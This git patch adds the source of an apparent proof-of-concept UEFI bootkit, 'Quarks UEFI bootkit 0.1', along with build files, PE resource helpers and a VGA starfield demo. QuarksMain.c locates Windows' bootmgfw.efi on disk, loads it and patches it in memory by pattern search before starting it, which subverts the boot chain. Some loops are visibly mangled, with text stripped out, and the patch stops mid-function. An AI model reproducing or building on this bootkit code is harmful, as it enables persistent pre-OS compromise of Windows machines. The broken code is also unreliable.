From 168a225d44721dc26afab2e6b2708eccdcda21cf Mon Sep 17 00:00:00 2001 From: deesse-k Date: Wed, 10 Apr 2013 16:34:30 +0200 Subject: [PATCH] testing version --- QuarksUBootkit.sln | 26 + QuarksUBootkit.suo | Bin 0 -> 23552 bytes QuarksUBootkit/PeCoffLib.c | 63 ++ QuarksUBootkit/PeCoffLib.h | 52 ++ QuarksUBootkit/QuarksMain.c | 201 ++++++ QuarksUBootkit/QuarksUBootkit.vcxproj | 167 +++++ QuarksUBootkit/QuarksUBootkit.vcxproj.filters | 66 ++ QuarksUBootkit/QuarksUBootkit.vcxproj.user | 3 + QuarksUBootkit/VgaFun.c | 450 ++++++++++++++ QuarksUBootkit/VgaFun.h | 177 ++++++ QuarksUBootkit/common.h | 6 + QuarksUBootkit/hooks.asm | 584 ++++++++++++++++++ QuarksUBootkit/lib/libefi.lib | Bin 0 -> 121430 bytes QuarksUBootkit/lib/libm.lib | Bin 0 -> 150064 bytes QuarksUBootkit/patchs.h | 89 +++ QuarksUBootkit/res/dreamboot.bmp | Bin 0 -> 1440056 bytes QuarksUBootkit/res/main_charset.bmp | Bin 0 -> 45368 bytes QuarksUBootkit/resource.h | Bin 0 -> 996 bytes QuarksUBootkit/resources.rc | Bin 0 -> 3178 bytes 19 files changed, 1884 insertions(+) create mode 100644 QuarksUBootkit.sln create mode 100644 QuarksUBootkit.suo create mode 100644 QuarksUBootkit/PeCoffLib.c create mode 100644 QuarksUBootkit/PeCoffLib.h create mode 100644 QuarksUBootkit/QuarksMain.c create mode 100644 QuarksUBootkit/QuarksUBootkit.vcxproj create mode 100644 QuarksUBootkit/QuarksUBootkit.vcxproj.filters create mode 100644 QuarksUBootkit/QuarksUBootkit.vcxproj.user create mode 100644 QuarksUBootkit/VgaFun.c create mode 100644 QuarksUBootkit/VgaFun.h create mode 100644 QuarksUBootkit/common.h create mode 100644 QuarksUBootkit/hooks.asm create mode 100644 QuarksUBootkit/lib/libefi.lib create mode 100644 QuarksUBootkit/lib/libm.lib create mode 100644 QuarksUBootkit/patchs.h create mode 100644 QuarksUBootkit/res/dreamboot.bmp create mode 100644 QuarksUBootkit/res/main_charset.bmp create mode 100644 QuarksUBootkit/resource.h create mode 100644 QuarksUBootkit/resources.rc diff --git a/QuarksUBootkit.sln b/QuarksUBootkit.sln new file mode 100644 index 0000000..8ff3504 --- /dev/null +++ b/QuarksUBootkit.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "QuarksUBootkit", "QuarksUBootkit\QuarksUBootkit.vcxproj", "{370F6D57-8512-4E53-B3AF-89C6E37D121F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {370F6D57-8512-4E53-B3AF-89C6E37D121F}.Debug|Win32.ActiveCfg = Debug|Win32 + {370F6D57-8512-4E53-B3AF-89C6E37D121F}.Debug|Win32.Build.0 = Debug|Win32 + {370F6D57-8512-4E53-B3AF-89C6E37D121F}.Debug|x64.ActiveCfg = Debug|x64 + {370F6D57-8512-4E53-B3AF-89C6E37D121F}.Debug|x64.Build.0 = Debug|x64 + {370F6D57-8512-4E53-B3AF-89C6E37D121F}.Release|Win32.ActiveCfg = Release|Win32 + {370F6D57-8512-4E53-B3AF-89C6E37D121F}.Release|Win32.Build.0 = Release|Win32 + {370F6D57-8512-4E53-B3AF-89C6E37D121F}.Release|x64.ActiveCfg = Release|x64 + {370F6D57-8512-4E53-B3AF-89C6E37D121F}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/QuarksUBootkit.suo b/QuarksUBootkit.suo new file mode 100644 index 0000000000000000000000000000000000000000..d51efd8b4fe61206f51a841df73b0dcf0704b57e GIT binary patch literal 23552 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 PGws{S?!z<{w!r@Z{0jm( literal 0 HcmV?d00001 diff --git a/QuarksUBootkit/PeCoffLib.c b/QuarksUBootkit/PeCoffLib.c new file mode 100644 index 0000000..a545c5b --- /dev/null +++ b/QuarksUBootkit/PeCoffLib.c @@ -0,0 +1,63 @@ +#include "PeCoffLib.h" + + + + + +UINT32 GetResource(EFI_LOADED_IMAGE *Image,UINT16 ResName,UINT16 ResId,UINT8 *ResData) +{ + PIMAGE_DOS_HEADER dosHeader= (PIMAGE_DOS_HEADER)Image->ImageBase; + PIMAGE_NT_HEADERS pe = (PIMAGE_NT_HEADERS)((UINT8 *)dosHeader + dosHeader->e_lfanew); + PIMAGE_RESOURCE_DIRECTORY img_res_dir,img_res_dir_base; + PIMAGE_RESOURCE_DIRECTORY_ENTRY img_res_dir_entry; + PIMAGE_RESOURCE_DATA_ENTRY img_res_data; + int nb_resources; + + img_res_dir_base = (PIMAGE_RESOURCE_DIRECTORY) (pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress + pe->OptionalHeader.ImageBase); + + /* Check if there are some resources in RESOURCE_DIRECTORY */ + nb_resources = img_res_dir_base->NumberOfIdEntries + img_res_dir_base->NumberOfNamedEntries; + if(!nb_resources) + return 0; + + /* Look for desired resource type in each entry */ + img_res_dir_entry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((UINT8 *)img_res_dir_base + sizeof(IMAGE_RESOURCE_DIRECTORY)); + do { + if(img_res_dir_entry->Name == ResName) // FIX: if & 0x80000000 => Name => ptr to IMAGE_RESOURCE_DIR_STRING_U + break; + img_res_dir_entry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((UINT8 *)img_res_dir_entry + sizeof(IMAGE_RESOURCE_DIRECTORY)); + }while(--nb_resources != 0); + + /* Check for resource entry in this subtype entry */ + if(img_res_dir_entry->OffsetToData & 0x80000000) + { + img_res_dir = (PIMAGE_RESOURCE_DIRECTORY) ((UINT8 *)img_res_dir_base + (img_res_dir_entry->OffsetToData & 0x7FFFFFFF)); + nb_resources = img_res_dir->NumberOfIdEntries + img_res_dir->NumberOfNamedEntries; + if(!nb_resources) + return 0; + + img_res_dir_entry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((UINT8 *)img_res_dir + sizeof(IMAGE_RESOURCE_DIRECTORY)); + do { + if(img_res_dir_entry->Name == ResId) // FIX: if & 0x80000000 => Name => ptr to IMAGE_RESOURCE_DIR_STRING_U + break; + img_res_dir_entry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((UINT8 *)img_res_dir_entry + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)); + }while(--nb_resources != 0); + + if(img_res_dir_entry->OffsetToData & 0x80000000) + { + img_res_dir = (PIMAGE_RESOURCE_DIRECTORY) ((UINT8 *)img_res_dir_base + (img_res_dir_entry->OffsetToData & 0x7FFFFFFF)); + nb_resources = img_res_dir->NumberOfIdEntries + img_res_dir->NumberOfNamedEntries; + if(!nb_resources) + return 0; + img_res_dir_entry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((UINT8 *)img_res_dir + sizeof(IMAGE_RESOURCE_DIRECTORY)); + + } + } + + /* Get ptr to raw data */ + img_res_data = (PIMAGE_RESOURCE_DATA_ENTRY) ((UINT8 *)img_res_dir_base + img_res_dir_entry->OffsetToData); + if(ResData) + CopyMem(ResData,(UINT8 *)pe->OptionalHeader.ImageBase + img_res_data->OffsetToData,img_res_data->Size); + + return img_res_data->Size; +} diff --git a/QuarksUBootkit/PeCoffLib.h b/QuarksUBootkit/PeCoffLib.h new file mode 100644 index 0000000..71770f8 --- /dev/null +++ b/QuarksUBootkit/PeCoffLib.h @@ -0,0 +1,52 @@ +#pragma once + +#include "common.h" +#include + +/* + * Get resource from .rsrc section + * RT_BITMAP tested only for now + */ +UINT32 GetResource(EFI_LOADED_IMAGE *Image,UINT16 ResName,UINT16 ResId,UINT8 *ResData); + +#define RT_CURSOR 1 +#define RT_BITMAP 2 +#define RT_ICON 3 +#define RT_MENU 4 +#define RT_DIALOG 5 +#define RT_STRING 6 +#define RT_FONTDIR 7 +#define RT_FONT 8 +#define RT_ACCELERATORS 9 +#define RT_RCDATA 10 +#define RT_MESSAGETABLE 11 +#define RT_GROUP_CURSOR 12 +#define RT_GROUP_ICON 14 +#define RT_VERSION 16 + +typedef struct _IMAGE_RESOURCE_DIRECTORY +{ + UINT32 Characteristics; + UINT32 TimeDateStamp; + UINT16 MajorVersion; + UINT16 MinorVersion; + UINT16 NumberOfNamedEntries; + UINT16 NumberOfIdEntries; +// IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[]; +}IMAGE_RESOURCE_DIRECTORY, *PIMAGE_RESOURCE_DIRECTORY; + +typedef struct _IMAGE_RESOURCE_DIRECTORY_ENTRY +{ + UINT32 Name; + UINT32 OffsetToData; +}IMAGE_RESOURCE_DIRECTORY_ENTRY, *PIMAGE_RESOURCE_DIRECTORY_ENTRY; + + +typedef struct _IMAGE_RESOURCE_DATA_ENTRY +{ + UINT32 OffsetToData; + UINT32 Size; + UINT32 CodePage; + UINT32 Reserved; +}IMAGE_RESOURCE_DATA_ENTRY, *PIMAGE_RESOURCE_DATA_ENTRY; + diff --git a/QuarksUBootkit/QuarksMain.c b/QuarksUBootkit/QuarksMain.c new file mode 100644 index 0000000..f403452 --- /dev/null +++ b/QuarksUBootkit/QuarksMain.c @@ -0,0 +1,201 @@ +#include "common.h" +#include "VgaFun.h" +#include "patchs.h" + + + +static CHAR16 *BOOTKIT_TITLE = L"--== Quarks UEFI bootkit 0.1 ==--\r\n\r\n"; +static CHAR16 *WINDOWS_BOOTX64_IMAGEPATH = L"\\EFI\\Microsoft\\Boot\\bootmgfw.efi"; +static EFI_HANDLE WINDOWS_IMAGE_HANDLE; + + + +/* + * Print info about current loaded image + */ +EFI_STATUS PrintLoadedImageInfo(EFI_LOADED_IMAGE *ImageInfo) +{ + Print(L"[+] EFI_LOADED_IMAGE\r\n"); + Print(L" ->ImageBase = %lx\r\n",ImageInfo->ImageBase); + Print(L" ->ImageSize = %lx\r\n",ImageInfo->ImageSize); + + return EFI_SUCCESS; +} + + +/* + * Patch Windows bootloader (bootmgfw) + */ +EFI_STATUS PatchWindowsBootloader(void *BootkitImagebase,void *ImageBase,UINT64 ImageSize) +{ + UINT32 i,j; + INT32 call_decal; + UINT8 found = 0; + + /* Search for pattern */ + Print(L"[+] Searching pattern in %s\r\n",WINDOWS_BOOTX64_IMAGEPATH); + for(i=0;iLoadImage(TRUE,ParentHandle,WinLdrDevicePath,NULL,0,&WINDOWS_IMAGE_HANDLE); + if(ret_code != EFI_SUCCESS) + { + Print(L"[!] LoadImage error = %X\r\n",ret_code); + return ret_code; + } + else + { + /* Get memory mapping */ + BS->HandleProtocol(WINDOWS_IMAGE_HANDLE,&LoadedImageProtocol,(void **)&image_info); + PrintLoadedImageInfo(image_info); + + /* Apply patch */ + ret_code = PatchWindowsBootloader(BootkitImageBase,image_info->ImageBase,image_info->ImageSize); + } + + return ret_code; +} + +/* + *Transfer control to windows bootloader + */ +EFI_STATUS StartWindowsBootloader() +{ + return BS->StartImage(WINDOWS_IMAGE_HANDLE,(UINTN *)NULL,(CHAR16 **)NULL); +} + + +/* + * Try to find WINDOWS_BOOTX64_IMAGEPATH by browsing each device + */ +EFI_STATUS LocateWindowsBootManager(EFI_DEVICE_PATH **LoaderDevicePath) +{ + EFI_FILE_IO_INTERFACE *ioDevice; + EFI_FILE_HANDLE handleRoots,bootFile; + EFI_HANDLE* handleArray; + UINTN nbHandles,i; + EFI_STATUS err; + + *LoaderDevicePath = (EFI_DEVICE_PATH *)NULL; + err = BS->LocateHandleBuffer(ByProtocol,&FileSystemProtocol,NULL,&nbHandles,&handleArray); + if(err != EFI_SUCCESS) + return err; + + for(i=0;iHandleProtocol(handleArray[i],&FileSystemProtocol,(void **)&ioDevice); + if(err != EFI_SUCCESS) + continue; + + err=ioDevice->OpenVolume(ioDevice,&handleRoots); + if(err != EFI_SUCCESS) + continue; + + err = handleRoots->Open(handleRoots,&bootFile,WINDOWS_BOOTX64_IMAGEPATH,EFI_FILE_MODE_READ,EFI_FILE_READ_ONLY); + if(err == EFI_SUCCESS) + { + handleRoots->Close(bootFile); + *LoaderDevicePath = FileDevicePath(handleArray[i],WINDOWS_BOOTX64_IMAGEPATH); + break; + } + } + + return err; +} + + +/* + * Entry point + */ +EFI_STATUS main(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) +{ + EFI_LOADED_IMAGE *image_info; + EFI_DEVICE_PATH *winldr_dev_path; + EFI_STATUS err; + + /* Initialize EFI library */ + InitializeLib(ImageHandle, SystemTable); + + /* Clear screen & set color fun */ + ST->ConOut->SetAttribute(ST->ConOut,EFI_YELLOW | EFI_BACKGROUND_BLUE); + ST->ConOut->ClearScreen(ST->ConOut); + ST->ConOut->OutputString(ST->ConOut,BOOTKIT_TITLE); + + /* Get information about current loaded image */ + BS->HandleProtocol(ImageHandle,&LoadedImageProtocol,(void **)&image_info); + PrintLoadedImageInfo(image_info); + + /* Load windows boot manager and begins patch process */ + err = LocateWindowsBootManager(&winldr_dev_path); + if((err != EFI_SUCCESS) || (!winldr_dev_path)) + { + Print(L"\r\n Cannot found windows boot manager, hmm...!?\r\n"); + return err; + } + else + { + Print(L"[+] Boot manager found at %s\r\n",DevicePathToStr(winldr_dev_path)); + } + err = LoadPatchWindowsBootloader(ImageHandle,image_info->ImageBase,winldr_dev_path); + + Print(L"\r\n Press any key to continue \r\n"); + WaitForKey(); + + if(err!=EFI_NOT_FOUND) + { + /* Init VGA mode and draw some funny things :) */ + if(InitVgaMode(image_info) == EFI_SUCCESS) + DoVgaLoop(); + + /* Start windows bootloader */ + CloseVgaMode(); + } + + StartWindowsBootloader(); + + return EFI_SUCCESS; +} diff --git a/QuarksUBootkit/QuarksUBootkit.vcxproj b/QuarksUBootkit/QuarksUBootkit.vcxproj new file mode 100644 index 0000000..b91535f --- /dev/null +++ b/QuarksUBootkit/QuarksUBootkit.vcxproj @@ -0,0 +1,167 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {370F6D57-8512-4E53-B3AF-89C6E37D121F} + QuarksUBootkit + + + + Application + true + MultiByte + + + Application + true + MultiByte + + + Application + false + true + MultiByte + + + Application + false + true + Unicode + Static + + + + + + + + + + + + + + + + + + + + false + + + false + .efi + + + + Level3 + Disabled + + + true + + + + + Level3 + Disabled + + + true + + + + + Level3 + MaxSpeed + true + true + + + false + + + + + Default + + + + + Level3 + true + F:\PROJECTS\dreamboot\UEFI\EFI_SDK\include\efi110;F:\PROJECTS\dreamboot\UEFI\EFI_SDK\include\efi110\em64t; + false + MultiThreaded + Default + false + Disabled + + + false + + + + + Default + + + + + false + + + main + EFI Application + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/QuarksUBootkit/QuarksUBootkit.vcxproj.filters b/QuarksUBootkit/QuarksUBootkit.vcxproj.filters new file mode 100644 index 0000000..5f7680e --- /dev/null +++ b/QuarksUBootkit/QuarksUBootkit.vcxproj.filters @@ -0,0 +1,66 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Fichiers sources + + + Fichiers sources + + + Fichiers sources + + + + + + + + Fichiers d%27en-tête + + + Fichiers d%27en-tête + + + Fichiers d%27en-tête + + + Fichiers d%27en-tête + + + Fichiers d%27en-tête + + + + + Fichiers sources + + + + + Fichiers de ressources + + + + + Fichiers de ressources + + + Fichiers de ressources + + + \ No newline at end of file diff --git a/QuarksUBootkit/QuarksUBootkit.vcxproj.user b/QuarksUBootkit/QuarksUBootkit.vcxproj.user new file mode 100644 index 0000000..ace9a86 --- /dev/null +++ b/QuarksUBootkit/QuarksUBootkit.vcxproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/QuarksUBootkit/VgaFun.c b/QuarksUBootkit/VgaFun.c new file mode 100644 index 0000000..cf90cbe --- /dev/null +++ b/QuarksUBootkit/VgaFun.c @@ -0,0 +1,450 @@ +#include "VgaFun.h" + + + +EFI_GUID gEfiConsoleControlProtocolGuid = EFI_CONSOLE_CONTROL_PROTOCOL_GUID; + +static EFI_UGA_PIXEL *vga_screen = (EFI_UGA_PIXEL *)NULL; +static UINT32 vga_hSize,vga_vSize; +static EFI_SURFACE vga_screen_surface; + +static EFI_CONSOLE_CONTROL_PROTOCOL *console_control_protocol = (EFI_CONSOLE_CONTROL_PROTOCOL *)NULL; +static UINT32 vga_background_width = 0; +static UINT32 vga_background_height = 0; +static EFI_UGA_PIXEL *vga_background_pix = (EFI_UGA_PIXEL *)NULL; +static EFI_SURFACE vga_background_surface; + +static UINT32 vga_charset_width = 0; +static UINT32 vga_charset_height = 0; +static EFI_UGA_PIXEL *vga_charset_pix = (EFI_UGA_PIXEL *)NULL; + +static EFI_UGA_PIXEL vga_clearscreen_color = {110,110,110,0}; +static EFI_UGA_DRAW_PROTOCOL *uga_draw_protocol; + +static s_star stars[N_STARS]; + +static EFI_EVENT timerEvent; + +static UINT32 rng_next = 1; + +UINT32 rand() +{ + return ((rng_next = rng_next * 1103515245 + 12345) % (0x7fff + 1)); +} + +void srand(UINT32 seed) +{ + rng_next = seed; +} + + +/* + * Initialize a star randomly + */ +void InitStar(UINT32 i) +{ + static UINT32 ZMAX = 500; + UINT32 xmax,ymax; + + /* Star color */ + stars[i].color.Blue = 255; + stars[i].color.Green = 255; + stars[i].color.Red = 255; + + /* */ + xmax = ((510*(50+ZMAX)) / (2*50)); + ymax = ((100*(50+ZMAX)) / (2*50)); + + stars[i].z = 500; + stars[i].x = rand()%(2*xmax+1) - xmax; + stars[i].y = rand()%(2*ymax+1) - ymax; + + stars[i].posx = 400 + (int) ((stars[i].x * 50) / (stars[i].z)); + stars[i].posy = 445 + (int) ((stars[i].y * 50) / (stars[i].z)); +} + + +/* + * Initialize starfield + */ +void InitStarfield() +{ + EFI_TIME current_time; + UINT32 i; + + RT->GetTime(¤t_time,(void *)NULL); + srand(current_time.Nanosecond); + + for(i=0;ipix + (stars[i].posy * surface->width) + (stars[i].posx),&stars[i].color,sizeof(EFI_UGA_PIXEL)); + } +} + + +/* + * Update starfierld logic + */ +void UpdateStarfield() +{ + UINT32 i; + + for(i=0;i 0) + { + stars[i].posx = 400 + (int) ((stars[i].x * 50) / (stars[i].z)); + stars[i].posy = 445 + (int) ((stars[i].y * 50) / (stars[i].z)); + } + + if( (stars[i].posx < 131) || (stars[i].posx > 690) || (stars[i].posy < 351) || (stars[i].posy > 528) || (stars[i].z <= 1)) + { + InitStar(i); + } + } +} + + +/* + * Wait a keystroke and return + */ +void WaitForKey() +{ + UINTN index; + EFI_INPUT_KEY key; + + BS->WaitForEvent(1,&ST->ConIn->WaitForKey,&index); + ST->ConIn->ReadKeyStroke(ST->ConIn, &key); + +} + + +/* + * Draw a transparent letter to backbuffer + */ +void DrawLetter(EFI_SURFACE *surface,CHAR16 ch,UINT32 posx,UINT32 posy) +{ + UINT32 pos = 32,i,j,index; + + if(ch==' ') + pos = 0; + else if((ch >= 'a')&&(ch <= 'z')) + pos = ch - 'a' + 33; + else if((ch >= 'A')&&(ch <= 'Z')) + pos = ch - 'A' + 33; + else if((ch >= '0')&&(ch <= '9')) + pos = ch - '0' + 15; + else if(ch=='-') + pos = 6; + else if(ch=='/') + pos = 14; + else if(ch=='@') + pos = 32; + else if(ch=='%') + pos = 10; + else if(ch=='$') + pos = 4; + else if(ch=='.') + pos = 13; + else if(ch=='+') + pos = 11; + else if(ch==':') + pos = 25; + else if(ch=='?') + pos = 33; + else if(ch=='!') + pos = 1; + + for(i=0;i<16;i++) + { + for(j=0;j<16;j++) + { + index = pos*16+(i*vga_charset_width)+j; + if(!(vga_charset_pix[index].Red==255 && vga_charset_pix[index].Blue==255 && vga_charset_pix[index].Green==0)) + surface->pix[posx+j+((posy+i)*surface->width)] = vga_charset_pix[index]; + } + } +} + + +/* + * Draw a string to backbuffer + */ +void DrawString(EFI_SURFACE *surface,CHAR16 *str,UINT32 posx,UINT32 posy) +{ + UINT32 i; + UINTN len = StrLen(str); + + for(i=0;ibiWidth; + *imageHeight = bmInfo->biHeight; + + BS->AllocatePool(EfiLoaderData,bmInfo->biWidth*bmInfo->biHeight*sizeof(EFI_UGA_PIXEL),(void **)pix); + current_pix = *pix; + SetMem(current_pix,bmInfo->biWidth*bmInfo->biHeight*sizeof(EFI_UGA_PIXEL),0); + image_pixels = (RGBTRIPLE *)((UINT8 *)bmInfo + sizeof(BITMAPINFOHEADER)); + + for(h=0;hbiHeight;h++) + { + current_line_pix = &image_pixels[(bmInfo->biHeight - h - 1) * bmInfo->biWidth]; + 